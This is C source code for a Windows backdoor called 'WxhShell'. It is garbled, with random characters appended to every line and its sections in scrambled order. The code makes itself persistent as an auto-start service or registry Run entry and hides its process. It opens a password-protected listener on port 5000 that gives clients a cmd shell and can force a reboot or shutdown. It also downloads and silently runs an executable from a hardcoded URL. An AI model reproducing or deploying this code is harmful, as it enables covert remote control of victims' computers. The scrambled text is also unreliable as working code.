    if(Boot(SHUTDOWN)) ~;k-/Z"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Io*`hA]  
    else { 4bqi&h3  
    closesocket(wsh); Juj"cjob  
    ExitThread(0); -l<b|`s=w.  
    } a:Js i=  
    break; oCdWf63D  
    } b;#3X)  
  // 获取shell wl #Bv,xf  
  case 's': { 5 G cdz  
    CmdShell(wsh); e5_a.c  
    closesocket(wsh); U7O~ch[,  
    ExitThread(0); Bs(\e^}  
    break; m!5P5U x  
  } 5v"QKI  
  // 退出 RUUV"y  
  case 'x': { ZIQy}b'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `q7O\  
    CloseIt(wsh); m8;; O  
    break; 6lOT5C eJ"  
    } `P<}MeJ\l  
  // 离开 ^{nf0)56c  
  case 'q': {  fy" q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DZ -5A  
    closesocket(wsh); HtB>#`'  
    WSACleanup(); 0]=|3-n  
    exit(1); _Q,`Qn@|BD  
    break; fqA\Rp6Z  
        } j'FSd*5m  
  } ;rYL\`6L  
  } 1=gE ,k5H  
<7R\ #  
  // 提示信息 A ><  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3maiBAOKz  
} UXwnE@`F  
  } mH2XwA|  
Tt #4dm-  
  return; 0>Iy`>]  
} G vMhgG=D  
F7lhLly  
// shell模块句柄 SYd4 3P A  
int CmdShell(SOCKET sock) "s[wLclfG  
{ 8)HUo?/3  
STARTUPINFO si; UZ7Zzc#g  
ZeroMemory(&si,sizeof(si)); L#mf[a@pCn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HZC^Q7]hy  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~``oKiPg@  
PROCESS_INFORMATION ProcessInfo; +U{8Mj  
char cmdline[]="cmd"; NovF?kh2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "/[xak!g  
  return 0; low 0@+Q  
} >Lj0B%^EvM  
chk1tFV  
// 自身启动模式 _K["qm{X_  
int StartFromService(void) -J*BY2LU3f  
{ 69ZGdN  
typedef struct q ww*  
{ %0l'Nuz  
  DWORD ExitStatus; S?ELFq(g  
  DWORD PebBaseAddress; 7pf]h$2  
  DWORD AffinityMask; -L&r2RF/  
  DWORD BasePriority; K}7E;O5m"  
  ULONG UniqueProcessId; koDIxj'%X  
  ULONG InheritedFromUniqueProcessId; x6Zhw9RV  
}   PROCESS_BASIC_INFORMATION; v&Xsyb0CaM  
"=<T8M  
PROCNTQSIP NtQueryInformationProcess; LG3D3{H(.  
6BK-(>c(6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k?]`PUrV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h=h4`uA9  
n4A_vz  
  HANDLE             hProcess; shlMJa?  
  PROCESS_BASIC_INFORMATION pbi; vpnQs#8O  
dC+WII`V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8h"Val|qP  
  if(NULL == hInst ) return 0; U4;r.#qw,  
L~9Q7 6w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5hN)y-4@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [Z~h!}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q(v*I&k  
W;%$7&+0  
  if (!NtQueryInformationProcess) return 0; `o|Y5wQ@  
ou8V7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ai>=n;  
  if(!hProcess) return 0; iQs^2z#Bd  
&w15 GO;4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I)7STzlMj.  
b>g&Pf#N!  
  CloseHandle(hProcess); xE>H:YPm  
Y$JGpeq8w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4z6i{n-k  
if(hProcess==NULL) return 0; _v=S4A#tF  
*iLlBE  
HMODULE hMod; Z*uv~0a>9Q  
char procName[255]; I_h u s  
unsigned long cbNeeded; Z[9) hGh  
_yx~t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); o>4mkh[3  
|q| ?y`X4/  
  CloseHandle(hProcess); <46> v<  
GZ=7)eJ~<  
if(strstr(procName,"services")) return 1; // 以服务启动 mQL8ec_c  
VZveNz@]r  
  return 0; // 注册表启动 zD}@QoB  
} X=C*PWa7  
?XCFR t,ol  
// 主模块 \e)>]C}h  
int StartWxhshell(LPSTR lpCmdLine) gR5 EK$  
{ jGm`Qg{<  
  SOCKET wsl; QjT$.pU d  
BOOL val=TRUE; Uk1|y\  
  int port=0; v@,n]"  
  struct sockaddr_in door; H){}28dX  
<O<Kf:i&c1  
  if(wscfg.ws_autoins) Install(); |h^[/  
D;?cf+6$  
port=atoi(lpCmdLine); B'NtG84  
VrQgn9L  
if(port<=0) port=wscfg.ws_port; xE>jlr?  
6=pE5UfT  
  WSADATA data; OdKfU^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S7!+8$2mc_  
/H (55^EMZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rgo#mTQ_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g2 RrBK,  
  door.sin_family = AF_INET; z6'Cz}%EP'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1R-1#<a>&  
  door.sin_port = htons(port); IvZ,|R?  
7{z\^R^O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @n|Mr/PAj  
closesocket(wsl); *r)/Vx`S  
return 1; UY5wef2sF  
} 8'sT zB]  
}H5~@c$  
  if(listen(wsl,2) == INVALID_SOCKET) { (r6'q0[  
closesocket(wsl); Aj{c s  
return 1; CJa`[;i0y  
} og[cwa_  
  Wxhshell(wsl); % _.kd"  
  WSACleanup(); *;ehSg9  
o}4~CN9}  
return 0; *VX"_C0Jy=  
\=1$$EDS9  
} ?8U#,qq#`  
s7d4)A%  
// 以NT服务方式启动 B3^F $6=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T0;8koj^_  
{ !+FrU'^  
DWORD   status = 0; Q6 oM$qiM  
  DWORD   specificError = 0xfffffff; 0-P,zkK_v  
u+7S/9q8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; REg&[e+%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n[K LY!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1G'D'  
  serviceStatus.dwWin32ExitCode     = 0; IgIM8"N  
  serviceStatus.dwServiceSpecificExitCode = 0; .IU\wN  
  serviceStatus.dwCheckPoint       = 0; OH >#f6`[  
  serviceStatus.dwWaitHint       = 0; Iwx~kvz\_(  
wo+ b":  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P.y06^ X}A  
  if (hServiceStatusHandle==0) return; 0 :iR=S  
Wa5B;X~  
status = GetLastError(); e S: 8Pn  
  if (status!=NO_ERROR) +dG3/vV  
{ eae`#>XP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $xU)t&Df  
    serviceStatus.dwCheckPoint       = 0; En9>onJ  
    serviceStatus.dwWaitHint       = 0; `VrQ? s  
    serviceStatus.dwWin32ExitCode     = status; {Mpx33  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~dBx<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wi/qI(O!  
    return; U-*`I?~=4  
  } 9oU1IT9   
('~}$%C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Yycfb  
  serviceStatus.dwCheckPoint       = 0; a.z)m} +  
  serviceStatus.dwWaitHint       = 0; |1pD n7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BROn2aSx%  
} rRvZG&k  
Y'^+ KU  
// 处理NT服务事件,比如:启动、停止 XiL[1JM  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  ;?G..,  
{ 'NNfzh  
switch(fdwControl) Et! 6i7`]  
{ OQ&'3hv{  
case SERVICE_CONTROL_STOP: ge4QaK  
  serviceStatus.dwWin32ExitCode = 0; <nk9IAH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;Rf@S$  
  serviceStatus.dwCheckPoint   = 0; [gDl<6a#4  
  serviceStatus.dwWaitHint     = 0; t-i\gq^  
  { gX|We}H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N mA6L+  
  } |{ @BH  
  return; z*)kK  
case SERVICE_CONTROL_PAUSE: :+_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eakQZ-Q  
  break; `aDVN_h{6  
case SERVICE_CONTROL_CONTINUE: +QEP:#qZw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q*N{3G!  
  break; R $@$  
case SERVICE_CONTROL_INTERROGATE: "-Yj~  
  break; yNhRh>l  
}; S}P rgw/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mb>8=hMg  
} f+lPQIB  
iN9G`qF3!Q  
// 标准应用程序主函数 gtnu/ Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (DkfLadB  
{ w|1O-k`  
Mi} .  
// 获取操作系统版本 n%6ba77  
OsIsNt=GetOsVer(); *zwo="WA\t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^kK% 8 u  
aH dQi,=z  
  // 从命令行安装 UP7?9\  
  if(strpbrk(lpCmdLine,"iI")) Install(); #}HdylI\}  
M0$_x~  
  // 下载执行文件 C~IE_E&Q`  
if(wscfg.ws_downexe) { NM"5.   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s6QD^[  
  WinExec(wscfg.ws_filenam,SW_HIDE); P*]hXm85[K  
} UyAy?i8K  
}tO>&$ Z6f  
if(!OsIsNt) { )x<BeD  
// 如果时win9x,隐藏进程并且设置为注册表启动 `B~zB=}  
HideProc(); Ig<# {V  
StartWxhshell(lpCmdLine); CK#i 6!~r  
} NX5$x/uz  
else Oye6IT"  
  if(StartFromService()) }]Nt:_UCX  
  // 以服务方式启动 3RF`F i  
  StartServiceCtrlDispatcher(DispatchTable); V KxuK0{  
else )nGH$Mu  
  // 普通方式启动 KE6 XNG3  
  StartWxhshell(lpCmdLine); } ,@ex  
fDRG+/q(+  
return 0; F5y&"Y_  
} 6 ZAZJn|  
PQ{5*}$N  
Ciy%7_~\  
q+} \ (|  
=========================================== M.HMn N#  
S0tkqA4  
0g;)je2_2?  
Z]w?RL  
qLPuKIF  
V%B~ q`4  
" -Iis/Xw:  
y\ })C-&  
#include <stdio.h> gT(8.<h8  
#include <string.h> 8Wo!NG:V5  
#include <windows.h> cbYQ';{  
#include <winsock2.h> gquvVj1oT  
#include <winsvc.h> 1xr2x;  
#include <urlmon.h> (I#mo2  
BT`g'#O  
#pragma comment (lib, "Ws2_32.lib") os7xwI;T  
#pragma comment (lib, "urlmon.lib") cTq;<9Iew  
3~{0X-  
#define MAX_USER   100 // 最大客户端连接数 DJ9x?SL@KD  
#define BUF_SOCK   200 // sock buffer /|lAxAm?  
#define KEY_BUFF   255 // 输入 buffer W4bN']?  
;E ,i  
#define REBOOT     0   // 重启 p: )=i"uL  
#define SHUTDOWN   1   // 关机 S503b*pM  
w:/3%-  
#define DEF_PORT   5000 // 监听端口 kZ PL$ \/A  
CvR-lKV<  
#define REG_LEN     16   // 注册表键长度 %@:6&  
#define SVC_LEN     80   // NT服务名长度 =\ k:]  
[$F*R@,&  
// 从dll定义API w IP4Z^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "%b Gw v  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &F:.OVzX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2C1NDrS;}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %P{3c~?DH  
3 /PvH E{R  
// wxhshell配置信息 ` Z/ MQ  
struct WSCFG { e0#t  
  int ws_port;         // 监听端口 'tDUPm38  
  char ws_passstr[REG_LEN]; // 口令 _''un3eCY  
  int ws_autoins;       // 安装标记, 1=yes 0=no Pf/8tXs}  
  char ws_regname[REG_LEN]; // 注册表键名 a6Joa&`dv  
  char ws_svcname[REG_LEN]; // 服务名 eco&!R[G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *H i}FI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GwfCl{l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \*Yr&Lm  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N!MDD?0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1/~=61msc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L`e19I$  
:5.F  
}; V#5$J Xp  
o(H.1ESk  
// default Wxhshell configuration Vh>cV  
struct WSCFG wscfg={DEF_PORT, rlA/eQrS  
    "xuhuanlingzhe", 1D3 8T  
    1, Dx`-h#  
    "Wxhshell", 0AdxV?6z  
    "Wxhshell", Fi;H   
            "WxhShell Service", ^8A [ ^cgq  
    "Wrsky Windows CmdShell Service", 'n ^,lXWB  
    "Please Input Your Password: ", =*I|z+  
  1, 8 ]exsn Z  
  "http://www.wrsky.com/wxhshell.exe", ,Si{]y  
  "Wxhshell.exe" Z1:%Aq xP  
    }; .Zj`_5C  
%q~q,=H$]  
// 消息定义模块 fm`V2'Rm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A)V*faD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 01n132k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y4LUC;[n  
char *msg_ws_ext="\n\rExit."; ggiy{CdR  
char *msg_ws_end="\n\rQuit."; oP9 y@U  
char *msg_ws_boot="\n\rReboot..."; tXH;4K@  
char *msg_ws_poff="\n\rShutdown..."; lixM0  
char *msg_ws_down="\n\rSave to "; cJv/)hRaz  
{=?(v`88  
char *msg_ws_err="\n\rErr!"; *coUHbP9>  
char *msg_ws_ok="\n\rOK!"; AWYlhH4c?t  
>;' 0ymG.`  
char ExeFile[MAX_PATH]; HZZZ [km  
int nUser = 0; P.5l9N s(O  
HANDLE handles[MAX_USER]; L<0_e^8  
int OsIsNt; # =tw ,S  
Z/:F)c,x  
SERVICE_STATUS       serviceStatus; Nh_\{ &r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; > *VvV/UU  
]wdE :k,D  
// 函数声明 y`j=(|DV  
int Install(void); vq^';<Wh.  
int Uninstall(void); *i^$xjOa  
int DownloadFile(char *sURL, SOCKET wsh); ]K*R[  
int Boot(int flag); gwQMy$  
void HideProc(void); iB"ji4[z  
int GetOsVer(void); abm 3q!a-  
int Wxhshell(SOCKET wsl); Um 6}h@>  
void TalkWithClient(void *cs); lZ.lf.{F  
int CmdShell(SOCKET sock); c9fz x  
int StartFromService(void); ~/9RSdv7  
int StartWxhshell(LPSTR lpCmdLine); VOZxLyj^9  
w5{l-Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8cG`We8l&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q(:L8nKT]  
\U]K!K=  
// 数据结构和表定义 1(dKb  
SERVICE_TABLE_ENTRY DispatchTable[] = aEvbGo  
{ )LIn1o_,  
{wscfg.ws_svcname, NTServiceMain}, & ]] l0B  
{NULL, NULL} /\# f@Sg  
}; %" 7UYLX  
} O $]xB  
// 自我安装 y|KQ`;  
int Install(void) jhQoBC>:  
{ =>`z k^  
  char svExeFile[MAX_PATH]; 'JJKnE zQ  
  HKEY key; DE?k|Get2  
  strcpy(svExeFile,ExeFile); Qd kus 214  
QfAmGDaYQ  
// 如果是win9x系统,修改注册表设为自启动 v9-4yZU^WR  
if(!OsIsNt) {  IPK1g3Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xh$yXP0/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p|2GPrA]aL  
  RegCloseKey(key); -43>?m/a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B I)@n:p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qvB{vU  
  RegCloseKey(key); |cY,@X,X6  
  return 0; 8|=C/k  
    } (w)%2vZ^  
  } 1:](=%oM&k  
} x@Z{5w_a  
else { #f24a?n|  
~Jr'4%   
// 如果是NT以上系统,安装为系统服务 T`fT[BaY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #jg-q|nd  
if (schSCManager!=0) bUm%#a  
{ jaodcT0  
  SC_HANDLE schService = CreateService IRx% L?  
  ( 7$Z_'GJ]1C  
  schSCManager, 5(J?C-Pk  
  wscfg.ws_svcname, IiqqdU]  
  wscfg.ws_svcdisp, ,o%by5j"^N  
  SERVICE_ALL_ACCESS, V~j^   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OxGfLeP.R!  
  SERVICE_AUTO_START, >fI\f <ez  
  SERVICE_ERROR_NORMAL, UWC4PWL,>C  
  svExeFile, YR-G:-(#b  
  NULL, p03I&d@w>  
  NULL, ;Y;r%DJ  
  NULL, I <D7 Jj  
  NULL, vLHn4>J,R  
  NULL qS @3:R  
  ); tm.60udbo  
  if (schService!=0) {{Ox%Zm  
  { mu{C>w_Rz  
  CloseServiceHandle(schService); k+-?b(z)$  
  CloseServiceHandle(schSCManager); {c9 f v H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #J&3Zds  
  strcat(svExeFile,wscfg.ws_svcname); 5tpC$4m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AZc= Bbh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); By8SRWs  
  RegCloseKey(key); ;!S5P(  
  return 0; U'ctO%  
    } 2K};-}eW  
  } <hCO-r#  
  CloseServiceHandle(schSCManager); n]$rLm%^  
} ydYsmTr  
} ?8H{AuLB  
Y?J/KW3  
return 1; iZy>V$Aq  
} NT 5=%X]  
I*.nwV<  
// 自我卸载 :Q("  
int Uninstall(void) Ue 9Y+'-x  
{ _-y1>{]H  
  HKEY key; we`BqZV  
SXqB<j$.;  
if(!OsIsNt) { /i>n1>~yn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]-X6Cl  
  RegDeleteValue(key,wscfg.ws_regname); '[liZCg  
  RegCloseKey(key); J^jd@E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &"K_R(kN  
  RegDeleteValue(key,wscfg.ws_regname); :VP4:J^  
  RegCloseKey(key); #;ObugY,  
  return 0; {f-O~P<Z4  
  } W%>T{}4  
} mA$y$73=T  
} }Mt)57rU  
else { 0)d='3S  
_LwF:19Il  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \;~Nj#  
if (schSCManager!=0) LEPLoF3,  
{ 3#t#NW*e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); f EL 9J{  
  if (schService!=0) d%0Gsga}  
  { q`r| DcN~  
  if(DeleteService(schService)!=0) { 4Z%1eOR9V  
  CloseServiceHandle(schService); /A,w{09G  
  CloseServiceHandle(schSCManager); . KLEx]f.  
  return 0; rN|=cn  
  } #)~u YQ  
  CloseServiceHandle(schService); o FP8s[B  
  } K9Mz4K_  
  CloseServiceHandle(schSCManager); 2YZ>nqy  
} |D-[M_T5  
} RR[zvH} E  
)TiM>{  
return 1; T}^3Re`i  
} ]$L5}pE3  
:5CyR3P  
// 从指定url下载文件 o-H?q!  
int DownloadFile(char *sURL, SOCKET wsh) v%T'!(0j/  
{ a r8iuwfZ  
  HRESULT hr; $?W2'Xm!V  
char seps[]= "/"; q}L`8(a  
char *token; 5xdeuBEY8  
char *file; ?lD)J?j  
char myURL[MAX_PATH]; ;&CLb`<y  
char myFILE[MAX_PATH]; g?"QahH G  
$k0(iFzR1  
strcpy(myURL,sURL); H; \C7w|  
  token=strtok(myURL,seps); q,)V0Ffe[|  
  while(token!=NULL) V5ZC2H  
  { E} XmZxHV  
    file=token; 0ex.~S_Oj4  
  token=strtok(NULL,seps); J78.-J5 j0  
  } [k%hl`}  
Wj,s/Yr:  
GetCurrentDirectory(MAX_PATH,myFILE); R&Nl!QTJj  
strcat(myFILE, "\\"); d]s^?=gM  
strcat(myFILE, file); asYk #;z\"  
  send(wsh,myFILE,strlen(myFILE),0); ~;CNWJtcf(  
send(wsh,"...",3,0); lj}3TbM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b/a\{  
  if(hr==S_OK) /lUfxc4  
return 0; F|> 3gW  
else nktGO  
return 1; ZAfuW^r  
FulFEnSV  
} ].xSX0YQ%  
%:`v.AG  
// 系统电源模块 o]&q'>Rf  
int Boot(int flag) 6:|;O  
{ `$JvWN,kB  
  HANDLE hToken; /5Qh*.(S  
  TOKEN_PRIVILEGES tkp; Qb?a[[3  
!gW`xVGv  
  if(OsIsNt) { r craf4%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "dIWHfQB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |#o' =whTl  
    tkp.PrivilegeCount = 1; w*XM*yJHU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &6OY ^6<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); af | mk@  
if(flag==REBOOT) { 6k;5T   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6vbKKn`ST  
  return 0; w;ZT-Fti  
} <}[ !k<  
else { jw{N#QDh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `ZEFH7P  
  return 0; ;]1t| td8  
} B,%6sa~I  
  } 2fr%_GNu  
  else { h+B7BjA>G  
if(flag==REBOOT) { ,e'm@d$Q*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SeXgBbGAne  
  return 0; 18NnXqe-m  
} ")MHP~ ?  
else { kbb!2`F!%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gq+0t  
  return 0;  >I4BysR  
} ho{%7\  
} neM)(` gp  
G 0pq'7B  
return 1; :Y/aT[  
} 3>VL>;75[  
GYQ:G=  
// win9x进程隐藏模块 A@< !'  
void HideProc(void) HcIJ&".~  
{ A)9]^@,  
]pe7I P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wnd #J `  
  if ( hKernel != NULL ) @>46.V{P}B  
  { 6w &<j&V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wp1O*)/q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qc,EazmU  
    FreeLibrary(hKernel); xwsl$Rj  
  } agwbjkU/  
V.`hk^V,  
return; &q|vvF<G  
} W[J2>`k9  
E va&/o?P|  
// 获取操作系统版本 wry`2_c  
int GetOsVer(void) ."dT6uE  
{ OAq-(_H  
  OSVERSIONINFO winfo; l=XZBe*[g'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2H$](k?   
  GetVersionEx(&winfo); i695P}J2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Pq+|*Y<|&  
  return 1; d4IQ;u  
  else bX38=.up  
  return 0; C {*?  
} b&`~%f-  
>(H:eRKq  
// 客户端句柄模块 x/{-U05  
int Wxhshell(SOCKET wsl) -5og)ZGVUA  
{ ^jL)<y4`  
  SOCKET wsh; ASi2;Q_{_  
  struct sockaddr_in client; I52nQCXi  
  DWORD myID; 0);5cbV7i  
-<x%  
  while(nUser<MAX_USER) o0No"8DnjH  
{ l,Q`;v5|  
  int nSize=sizeof(client); 31^/9lb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 90+Vw`Gz=  
  if(wsh==INVALID_SOCKET) return 1; gHp4q!SJ7  
yx?oxDJg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :K~@JlJd  
if(handles[nUser]==0) [K #$W  
  closesocket(wsh); 1d49&-N  
else <FkaH8,7  
  nUser++; n5 ~Dxk  
  } PYi<iSr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,s%+vD$O^  
RvA "ug.*  
  return 0; 2d|^$$#`  
} 0c"9C_7^g  
p\_3g!G'  
// 关闭 socket 2|ee`"`  
void CloseIt(SOCKET wsh) ^~l@ _r  
{ [MAPa  
closesocket(wsh); %6lGRq{/?  
nUser--; uHquJQ4  
ExitThread(0); YYI0iM>  
} >,zU=I?9Y  
$Xo_8SX,  
// 客户端请求句柄 FP{=b/  
void TalkWithClient(void *cs) MbYgGE,LA  
{ A iR#:r  
?@x$ h  
  SOCKET wsh=(SOCKET)cs; .mrv"k\<  
  char pwd[SVC_LEN]; iDDq<a.A  
  char cmd[KEY_BUFF]; >j]Gz-wC  
char chr[1]; tC1'IE-h  
int i,j; %Jl6e}!  
>N! Xey  
  while (nUser < MAX_USER) { E5S(1Z}]p{  
T)22P<M8  
if(wscfg.ws_passstr) { FB?V<x  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uh 9b!8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F ',1R"/}  
  //ZeroMemory(pwd,KEY_BUFF); PQ!'<  
      i=0; "(H%m9K  
  while(i<SVC_LEN) { Fi+ DG?zu  
G $*=9`  
  // 设置超时 jm&[8ApW  
  fd_set FdRead; .3+ 8Ip#z  
  struct timeval TimeOut; ~g[D!HV|yu  
  FD_ZERO(&FdRead); |a[" ^ 2  
  FD_SET(wsh,&FdRead); H]V(qq{  
  TimeOut.tv_sec=8; xK[ [b  
  TimeOut.tv_usec=0; :1t&>x=T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); p{qA%D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8M3DG=D  
yp]vDm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CPsl/.$tC  
  pwd=chr[0]; {1UU `d  
  if(chr[0]==0xd || chr[0]==0xa) { [xfg6  
  pwd=0; 8=f+`e  
  break; l8Yr]oNkz  
  } FLsJ<C~/~  
  i++; "9c!p  
    } ]EN&EA"<  
5' t9/8i  
  // 如果是非法用户,关闭 socket U\{I09@E 0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -{?xl*D  
} "{S4YA  
*.$ov<E.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &j'k9C2p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kMzDmgoxNg  
* kL>9  
while(1) { ):+^893)  
k|]l2zlT  
  ZeroMemory(cmd,KEY_BUFF); "j&p3  
=RWY0|f  
      // 自动支持客户端 telnet标准   +=L+35M  
  j=0; m=pH G  
  while(j<KEY_BUFF) { v7+|G'8M`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kiin78W  
  cmd[j]=chr[0]; S._h->5f  
  if(chr[0]==0xa || chr[0]==0xd) { HF&d HD2f  
  cmd[j]=0; i)'u!V  
  break; TFbF^Kd#:d  
  } C]zgVbu  
  j++; uuUj IZCtz  
    } )zP"Uuu  
>9g^-~X;v  
  // 下载文件 E/% F0\B  
  if(strstr(cmd,"http://")) { I2z7}*<u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Br$/hn=  
  if(DownloadFile(cmd,wsh)) '/ueY#eG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +~ S7]AZ  
  else x41t=E](  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :w4H$+j  
  }  >qI:  
  else { bx".<q(  
hg+;!|ha  
    switch(cmd[0]) { FFN.9[Ly  
